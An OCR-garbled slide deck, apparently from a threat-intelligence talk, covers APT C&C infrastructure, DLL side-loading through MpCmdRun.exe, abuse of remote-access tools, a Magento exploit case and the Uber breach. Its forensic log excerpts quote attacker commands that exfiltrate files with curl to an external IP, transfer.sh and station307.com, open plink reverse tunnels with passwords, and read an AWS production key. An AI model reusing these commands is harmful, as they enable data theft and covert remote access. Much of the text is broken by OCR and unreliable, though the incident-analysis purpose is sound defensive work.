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« Zero Chen ( &AM )

- iR E R BIRAE) EREERBRE R

- B 2008 FHRRcFERHEELF

m

- EREEBEERHMSIZEES (X 183 (O

+ KMPlayer SCA (ICST-ANA—-2013-0018)

» Operation DRBControl
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(EESTgs s AT E

BH 0L - BAEF]
E##:528 IP / DDNS [ C&C

<REDACTED>.196.80
<REDACTED>.196.88
download.kaspresky[.]Jcom

www.microsofts[.]Jorg

js.56sup|.]com

ads.optd[.]net
jquery.optd[.]net
softstore.excel2[.]Jcom
store.excel2[.]Jcom
packettl.nbshf[.Jcom
help.dellrescue[.]Jcom
ns1.nokiadns[.]Jcom
update.hd157[.]Jcom
Oexwehkcxr8wl2k.nbshf[.Jcom

ec2-54-219-154-48.us-west-1.compute.amazonaws|.Jcom

apil.]Jkaspresksy[.]Jcom
apil.]Jmicrosofts|.]info
bibo286[.]com
cahe[.]microsofts[.]org
caibi379[.]Jcom
download].]kaspresksy[.Jcom
dptoutiao[.]cn
ffca[.]caibi379[.]com
kaspresksy[.]Jcom
microsofts[.]info
microsofts[.]org
miscrosofts[.]Jcom
onedrive[.]Jmiscrosofts[.]Jcom
ppit[.Jmicrosofts[.]org
smsapil.]tencentchat[.]net
tencentchat[.]net
updatel[.]kaspresksy[.]Jcom
update[.]Jmicrosofts|[.]org
update[.]Jmiscrosofts[.]Jcom
weixin[.]dptoutiaol.]cn
www/[.]bibo286[.]Jcom
www/[.]microsofts[.]info
content[.]dropboxapil[.]Jcom
api[.]dropbox[.]Jcom
api[.]dropboxapil.].com
safe[.]mircosofdevice[.]Jcom
office[.]support[.]googldevice[.]Jcom
update[.]Jmircosoftdefender[.]Jcom
server[.]Jcorreomasivochile[.]Jcom
srv2[.]Jmkt-app[.]Jcom
fn[.]shopingchinal.]net
store[.]microsoftbetastore[.Jcom
www/[.]xiaohuochaitv[.]Jcom
www/[.]993439274[.]com
www[.]rivenyk[.]Jcom

2018/10/5
2018/10/5
2018/10/5
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/3/1
2019/7/15 Temporary Tracking
2019/7/15 Temporary Tracking
2019/7/15 Temporary Tracking
2019/7/15
2019/7/19
2019/7/19
2019/7/26
2019/7/26
2019/8/1
2019/8/8
2019/12/27 From PD
2019/12/27 From PD
2019/12/27 From PD



1 ERA&HIEFH DIl Side-Loading

5 MpCmdRun.exe

mpsvc.dll

2020/4/4 @ MpCmdRun.exe - AZE

2020/4/¢

=iy

® MpCmdRun.exe - A

—f#% Wl BUSEE zz# 3

Microsoft Corporation
Microsoft Corporation

shal
sha256

VARIRI AR AR

2015%4H43...
2015%F483...

—f  HEY BURE =EH

113

AR DIEIRRA

B E

it

EEEi Antimalware Service Executable
| AR

BERAK 4.8.204.0

Em&iE Microsoft Malware Protection
EmhiRA 4.8.0204.0

Z/Et#E  © Microsoft Corporation. All rights reserved.
KN 23.2 KB

[ZetEHER 2020/4/6 T4 03:29

ES RN (EE)

[FiatE& MsMpEng.exe
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1 DIl Side-Loading £ & B ENIZRF
- Side-Loading & R#ESEANER

- svchost.exe
- explorer.exe
- msiexec.exe
- iexplorer.exe
- msdtc.exe
- dllhost.exe

- . IREA RS
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1 DIl Side-Loading £ & B ENIZRF

-_ Windows |PLL Side-Loading load u?::;:cul(t: g l| create & inject
executable mpsvc.mui payload I svchost.exe
|
!
connect to send quk data wait for
using
command

C&C server fake HTTP POST
information
gathering

upload to
Dropbox A

download

x64bin.asc

download
bin.asc

create & inject
svchost.exe

True

True |

create & inject
svchost.exe

coliect upload to
information P
e —{ Dropbox as
timestamp AL

download
yasHPHFJ

decode
command execute
from command
yasHPHFJ

upload
execution

result to
Dropbox as
csaujdnc

wait for

next period
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1 BUEEEFNSE

@ TrrEEs - | o [El
N BEFR E2EO ®BEWV
* Threat Hunting
£=4:4 b PID A EHEEZE CPU ZEBF. B A
[ wininit.exe 440 e SYSTEM 00 664K Windows EiE|EHET
L3 [ lvm3dservice.exe 1220 #}GP SYSTEM 00 816K VMware SVGA Helper Service
L M e I I I O ry F O re n S I C [mlvm3dsenvice.exe 1288 #T® SYSTEM 00 736K VMware SVGA Helper Service
154 Taskmgr.exe 2632 WA Administr.. 00 8884K TIEZER
[ taskhostex exe 1632 #}TP Administr... 00 3,344K Windows TERMZBEEEER
. . Eustem 4 ket SYST
° I n d I C a 't O r Of C O m p ro m I Se [ svchost.exe 608  HT SYSTEM 00 4560K Windows Services (IZ B EEEE
[ svchost.exe 640 2T NETWOR.. 00 3,568 K Windows Services (1= BEEER
[ svchost.exe 760 Bkt LOCALSE.. 00 9,080K Windows Services I HEEER
[ svchost.exe 796 Fobpt SYSTEM 00 25,224 K Windows Services (I=HEEEE
A‘ i L [ H J E H [ svchost.exe 848 AP LOCALSE.. 00 4780K Windows Services (IEBEEERE
® 1 J_ NGTY } L E I_ ] ;E % [ svchost exe 924 uFe NETWOR. 00  14448K Windows Senvices HEHEEES
[ svchost.exe 364 }T LOCALSE.. 00 4896 K Windows Services (T B EEEE
[ svchost.exe 1104 BT SYSTEM 00 2,396K Windows Services (ITBEEER
[ svchost.exe 1200 AT SYSTEM 00 4340K Windows Services IEBEEEE
[ svchost.exe 1500 WTF NETWOR.. 00 32,184K Windows Services (B EEER
W7 svchost.exe 1548  HT2 NETWOR.. 00 868 K Windows Services (1T HEEER
[=-sqlwriter.exe 1 17 1
= spoolsv.exe ke SYSTEM 00 2612K ETEEEREEFREEEES =
[ smss.exe 0nTE SYSTEM 00 280K Windows THEIEREER
[ services.exe 0 SYSTEM 00 2084K EEERZIBERED
rdpclip.e 27 Administr.. 00 2208K RDPEEHEESSE
Bl NETWOR.. 00 1,628K Microsoft 2HERSBERRE
SYSTEM 00 4,300K Local Security Authority Process
SYSTEM 00 7,624K Windows Logon User Interface Host
Administr... 00 60,268 K Windows EEEE
Administr.. 00 1,675,080K eclipse.exe
DWM-1 00 13272K SERETEEE
B dwm.exe 7 DWM-2 00 27512K EERETEEES
(27 csrss.exe 348 ke SYSTEM 00 1,136K EBEFEESZTESEEER
87 csrss.exe 48  #EF SYSTEM 00 1,028K HFEEARSEATEREEER
(87 csrss.exe 1956 TP SYSTEM 00 1,672K BEEERENTEZEEER
¥ conhost.exe 2260 HTP Administr.. 00 2840K EZ2BEZH
conhost.exe 2624 TP Administr... 00 2,536K TEL2EET#
cmd.exe 2680 TR Administr.. 00 488K Windows S EEES
¥ cmd.exe 32 nIe Administr.. 00 620K Windows &S EBES
[ ChHME ava A2A  mES QVETEM nn 0AA K Micracaft IME
() soEEER0) ZETAE
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1 am@ELT AR

T V. = © sRER @ERFERER)
ea m I ewe r SR IR 22l 3 i EE

186910 B D

TeamViewer e

. PUTTY ff —

csmart T SmartlT — b

WERH AnyDesk FRF5Z AEER
JEPETNAE » B4 VPN  NZFE(E
AERFRAEHEEHEER

USRE - BERLEARS o

® =&

IZHFEZ%.. W IPGuard * X-Fort &2 tEEHE=—"FSETE
2B

® JEIRIEH)

giuomm BRER

B#7FER

¥l % BB TeamVi iewer
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N .
E-VFLE\_-F ’ ﬁﬁ%
) I

« TeamViewer

WEF) ®REE

BX(0) WAV NIH

« AnyDesk

04-12-2019 02:43:55
04-12-2019 06:35:28
10-12-2019 06:48:32
10-12-2019 09:28:23
10-01-2020 06:22:02
16-01-2020 05:03:15
16-01-2020 05:15:32
05-02-2020 06:28:27
13-02-2020 03:02:58

in Yen 02-03-2020 07:02:13

10-03-2020 06:41:55
27-03-2020 02:54:59
35-04-2020 06:55:52

20-11-2020 07:41:02
25-01-202]1 05:19:34

G-NB  25-01-2021 06:39:46
G-NB  25-01-2021 06:40:52
G-NB  25-01-202]1 06:41:38

25-01-2021 07:07:58

25-01-2021 09:01:37

14-04-2020 06:56:19
-NB 15-04-2020 03:50:40
-NB 15-04-2020 05:58:57
-NB 17-04-2020 07:10:05
-NB 22-07-2020 06:25:47
-NB 21-08-2020 05:41:24

01-11-2019 10:07:25
3:31:21 06 11-2
9:15:17 8-11-2
2-2019 08:32:!3 03-

04-12-2019 04:37:56

04-12-2019 08:52:34
10-12-2019 06:50:07
10-12-2019 10:30:50
10-01-2020 07:39:56
16-01-2020 05:15:24
16-01-2020 06:56:39
05-02-2020 06:31:03
13-02-2020 03:49:24

10-03-2020 06:50:04

27-03-2020 07:51:03
06-04-2020 07:11:54

17-04-2020

20-11-2020 07:42:14
25-01-2021 06:11:36

25-01-2021 08:21:27
25-01-2021 10:16:10

7:
019 03:48:06
019 09:21:17

02-03-2020 07:03:27

14-04-2020 09:02:45
15-04-2020 04:39:01
15-04-2020 07:51:49

22-07-2020 07:33:15
21-08-2020 06:28:32

25-01-2021 06:40:11
25-01-2021 06:41:34
25-01-202]1 06:42:37

Adninistrator

12-2019 08:36:52
Adninistrator
Administrator
Adninistrator
Adninistrator
Administrator
Adninistrator
Adninistrator
Adninistrator
Adninistrator

Adninistrator

Adninistrator
Adninistrator

10:10:04

Adninistrator
<unknovn>

Adninistrator
Adninistrator

RenoteControl

Administrator Renote
Administrator Renote

Adninistrator
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RemoteControl
RenoteControl
RemoteControl

Administrator Renote

RemoteControl
RenoteControl
RenoteControl

Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote
Administrator Renote

RenoteControl
RemoteControl

Administrator Renote
Administrator Renote
Administrator Renote

RemoteControl
RemoteControl .

BEF S[EE #BIO BENV) =|EBEH

Incoming 2021-11-01, 07:44 lger 261 26 | [N 156
Incoming 2022-05-09, 05:36 lger 26 1 1 56 26 |1 56
Incoming 2022-05-09, 08:27 lser 26 | 1 56 26 |1 56
Incoming 2022-05-10, 05:40 lser 26 1 1 56 26 |}l156
Incoming 2022-05-10, 05:41 lser 26 1 1 56 26 |}l156
Incoming 2022-05-10, 06:25 lger 261 156 26 | [N 156
Incoming 2022-05-10, 06:29 lger 261 156 26 || 156
Incoming 2022-05-10, 08:09 lger 261 156 26 11156
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N

e SmartIT

@@=
BRF BEA) BHV) FHBH)

BEETASERA?

4= =) | {3 SHRE - B4 7045 Service Control Manager

@ —w  ya@an

Y IRFS T AR T2 2ulieh -

]
] NE#5478: SmartIT Agent Service

{ | |mmstisass: C:\SmarlTUTWinSve.exe
[ § |REeSE: (R ERRES

{ | |[RBREhSR: SEhRm)

fIRF51E 5 LocalSystem

YESREB(0): &
FHEER): = 28

ERP) BEO)

& smart_it_log.txt

AppleScript ¢ <} E@HRMMMTH> <

2021/10/25 L% 11:01 265,277 EHEplusHE-3.pptx
2022/01/17 L% 10:49 <DIR> = AR
2021/12/17 T4 05:32 8,446 SMEEM. txt

24 {EgR 292,657,234 {itil

12 {@i8%# 59,221,327,872 ficiAnTA
2022/01/21 03:40:54: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:46:43: [ITDosCmder1@856] 10.1.40.189: Path=C:\Users\Somebody\Desktop\ Cmd=curl -k -F
'file=@XXXX VMWare All Information (10_07 Update).xlsx' 'https://45.67.230.43:25443/upload?
token=1465f654ff23f33c2adc’

2022/01/21 03:46:43: [ITDosCmder10856] 10.1.40.189: Sentl=C:&&cd C:\Users\Somebody\Desktop&&curl -k -F
'file=@XXXX VMWare All Information (10_07 Update).xlsx' 'https://45.67.230.43:25443/upload?
token=1465f654ff23f33c2adc’

2022/01/21 03:46:56: [ITDosCmder1@856] 10.1.40.189: Getl=(null)

2022/01/21 ©3:46:56: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:46:56: [ITDosCmder1@856] 10.1.40.189: Get2=C:\Users\Somebody\Desktop

2022/01/21 ©3:49:40: [ITDosCmder1@856] 10.1.40.189: Path=C:\Users\Somebody\Desktop\ Cmd=curl -k -F
'file=@123.x1lsx' 'https://45.67.230.43:25443/upload?token=14657654ff23f33c2adc"’

2022/01/21 03:49:40: [ITDosCmder1@856] 10.1.40.189: Sentl=C:&&cd C:\Users\Somebody\Desktop&&curl -k -F
'file=@123.xlsx' 'https://45.67.230.43:25443/upload?token=14657654ff23f33c2adc’

2022/01/21 ©3:49:40: [ITDosCmder1@856] 10.1.40.189: Getl=(null)

2022/01/21 03:49:40: [ITDosCmder1@856] 10.1.40.189: Sent2=C:&&cd C:\Users\Somebody\Desktop&&cd

2022/01/21 03:49:41: [ITDosCmder1@856] 10.1.40.189: Get2=C:\Users\Somebody\Desktop

2022/01/21 ©3:50:26: [ITDosCmder1@856] 10.1.40.189: Sentl=cd &&curl -V

2022/01/21 03:50:26: [ITDosCmder10856] 10.1.40.189: Getl=curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL

Release-Date: 2017-11-14, security patched: 2019-11-05

Protocols: dict file ftp ftps http https imap imaps pop3jpop3s smtp smtps telnet tftp
XXXX
Features: AsynchDNS IPv6 Largefile SSPI Kerberos SPNEGOgNTLM SSL
2022/01/21 03:50:26: [I
2022/01/21 03:50:26: [I
2022/01/21 03:52:26: [I

VMwWare All Informat

token=146516541f23f

-k -F 'file=@XXXX
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1 PUTTY?

- GUI SSH E,J?%:EE =

Nombre Fecha de modifica... Tipo Tamano

' pageant.exe 14/03/2003 4:13 a. ... Aphicacion 2KB
plink.exe 2/02/2 1:05p.m. Aplicacién 603 KB

5‘ plink_old.exe 8 KB

ﬂ! pscp.exe 250 KB

IJ! psftp.exe 47KB

e
-
<4

r
? p ot
" » ) L% 4

Aplhicacion

© putty.hip 8/03/2003 1230 a.... Archivo de Ayuda

R
©
3
N
&

437KB
g putty_old.exe 14/03/2003 4:13 a. ... Aphicacion 369 KB
2 puttygen.exe 14/03/2003 413 a.... Aplicacién 163 KB

3 233 KB

& puttytel.exe 14/03/2003 9:52 a.... Aplicacién

-" r

Llﬂﬁ@ﬂ%ﬂ’]ﬁ?gﬁ

—-pW passw =

b=

-L listen—port:host:port B iRl °
SRR In EGREIRIR R s o

= B / B X1 803 - RSN
- _— TALENT




1 Plink?

2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:02:
2022/04/14 21:52:03:

[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]
[ITDosCmder7432]

AppStart!!

10.1.40.58: AppStarted!! Console Account = administrator_user_key

10.1.40.58: Sentl=cd &&
10.1.40.58: Getl=(null)
10.1.40.58: Sent2=cd

2022/04/14 21, 52.032 |||“Q§‘mdg;2432| 10,140 58. _Get2=C\WINDOWSN cvetem32

2022/04/14 21:52:15: [ITDosCmder7432] 10.1.40.58: Path=C:\WINDOWS\system32\ Cmd=START /B "" "C:\Program Files\PuTTY\plink.exe" -R
1235:127.0.0.1:52223 -1 test -pw test2345 194.156.98.80 -batch -v -2 —-hostkey SHA256:1elbLXVd1119/6m@jo4hNBK+YJAwMyo20IpoKQHlUuQ. -N

2022/04/14 21:52:15: [ITDosCmder7432] 10.1.40.58: Sent1l=C:&&cd C:\WINDOWS\system32&S&START /B "" "C:\Program Files\PuTTY\plink.exe" -R
1235:127.0.0.1:52223 -1 test -pw test2345 194.156.98.80 -batch -v -2 —-hostkey SHA256:1elbLXVd1119/6m@jo4hNBK+YJAwMyo20IpoKQHlUuQ. -N

plink.exe -R 1235:127.0.0.1:62223 -| test -pw 1qazSE45 45.134.173.181 -batch -v -2 -hostkey

SHAZ256:SjalzEr+1Sh5SWDHIbEAtv2|i12RFQrBizSpshOCNrYI -N

test@4fh(CNOh688:~$ ifconfig | more

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
inet 45.134.173.181
1netb fe80::3c59:9fff:fed4c:cl92 preiivlen 64
ether 3e:59:9f:4c:cl1:92 txqueuelen 1000

netmask

mtu 1500
205.255.255.0 broadcast 45.134.173.255

scopeid @x20<link>

(Lohernet)

RX packets 681989106 bytes 333266633729 (333.2 Gb,
RX errors @ dropped 1677031 overruns @ frame 0
TX packets 5118432 bytes 795514443 (795.5 MB)

TX errors @ dropped @ overruns @ carrier 0

collisions ¢

TALENT

5% B & %



1 BT c2 sMyEELE?

] @ transfer.sh

@ station307.com

transfer.sh

2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21
2022/01/21

home sample |

m Recipes About

Fasy file sharing from the command

05:
05:
05:
06:
06:
06:
06:
06:
06:
06:
06:
06:
06:

43:
43:
43:
25:
25:
30:
30:
30:
30:
30:
30:
30:
30:

STATION307

$ curl --upload-file ./hello.txt https://transfer.sh/hello.txt
https://transfer.sh/5Th7Hh/hello. txt

$ transfer hello.txt
HHBBHHBBURB BB RBBHR BB B R BB R BB 100.0%

04:
04:
04:
20:
20:
06:
06:
06:
06:
06:
06:
29:
29:

[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder5952]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]
[ITDosCmder4540]

10.1.40.189:
10.1.40.189:

: Path=C:\Windows\system32\
: Sentl=C:&&cd C:\Windows\system32&&curl ——upload-file outputl.zip https://transfer.sh/outputl.zip

Send and receive files directly, with ease.

Getl=(null)
Sent2=C:&&cd C:\Windows\system32&&cd
— (. 3 rle)

Cmd=curl —-upload-file outputl.zip https://transfer.sh/outputl.zip |

: AppStarted!! Console Account = administrator_user_key
: Sentl=cd &&

: Getl=(null)

: Sent2=cd

: Path=C:\Windows\system32\
: Sentl=C:&&cd C:\Windows\system32&&curl -T outputl.zip -Lv station307.com

Cmd=curl -T outputl.zip -Lv station307.com |
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1 ZN)/R Case Study N{ERiE

 I—

146.x.x.199

Magento
RCE Exploit

magento-dev.xxx
(10.x.x.12)

/
0o —) (6 =
[AnyDesk] [ _ / 1 (e
[SSH Tunnel] o —) (0 =
SmartlT 0 — [SmartIT ContrOI] Prod Server (6 =) (6 =
(10.x.x.4) p— ” o "1 (192.168.X.X) fo— o—
yA
ko o —) (6 =
0o —) (6 =
User: Administrator e =) =
0 — 2022/05/07 22:21:46: [ITDosCmder12240] 10.1.40.124: Path=C:
0 — \Windows\system32\ Cmd=type "C:\Prod_Key\aws-prod.ppk"
o — 2022/05/07 22:21:46: [ITDoSjmda il t 1=C : &8 C:
/ ) \Windows\ system32&&type
jira 2022/05/07 22:21:46: [ITDOSCMAET I 0T T0 0 T2 T Cet 1=PuTTY-User-Key-
[S.SH] (10XX33) File-3: ssh-rsa

SH]

Jenkins
(10.x.x.221)

B _
Comment: imported-openssh-key
Public-Lines: 6

AAAAB3NzaClyc2EAAAADAQABAAABAQDYermvj4doyFK2KV2D1KQk3uwmVmWmq7QK

+u8VtT8bLHC2bBHfux9Lduh+@LgrYNPlntC5jeAvtD80gVY3pcPNd5vIOWM/Kr7t
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1 Nday HEFEHEFRS

- Magento BUimREERTFBRY , ttELEESRIRAY Exploit fEREAEERE
BBHRAXITE 0.3 BTC = 1.7 BTC £

CVE-2022-24086 RCE download

Most of the major Magento users have already patched and that tool is no longer as dangerous as it was a couple
months ago. But due to potential damage that this tool can inflict this PoC should not be in limited access.

Current price - 0.3 BTC. It includes full instruction on penetration, sample payloads and support.

Our X ring is okOmo@jabber.cz.
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1 Another Case

Cd Uber Breach & Attack Analysis

MITRE ATT&CK Mapping

T1589.001: Credentials
T1621: MFA Authentication Request
T1566.003: Spearphishing via Service

T1078: Valid Account
T1133: External Remote Services

T1135: Network Share Drive Discovery
T1552.001: Credential in Files

T1078.002: Domain Account

T1048: Exfiltration over Alternative Protocol

Credential Access

UBER BREACH

Initial Access
T1078: Valid Account
T1133: External Remote Services

Discovery
T1135: Network Share Drive Discovery

Scanning Uber
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T T1566.003: Spearphishing via Service
f T1552.001: Credential in Files

Data Exfiltration ~

PowerShell script
i3 contained creds in
cleartext

Exfiltration J

PowerShell scripts in
Network Share

Privilege Escalation

T1048: Exfiltration over Alternative Protocol [
T1078.002: Domain Account

Access to number of Access to Thycotic
— —
apps/infra PAM

UBER INTERNAL NETWORK
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https://twitter.com/MichalKoczwara/status/1571432800787759104
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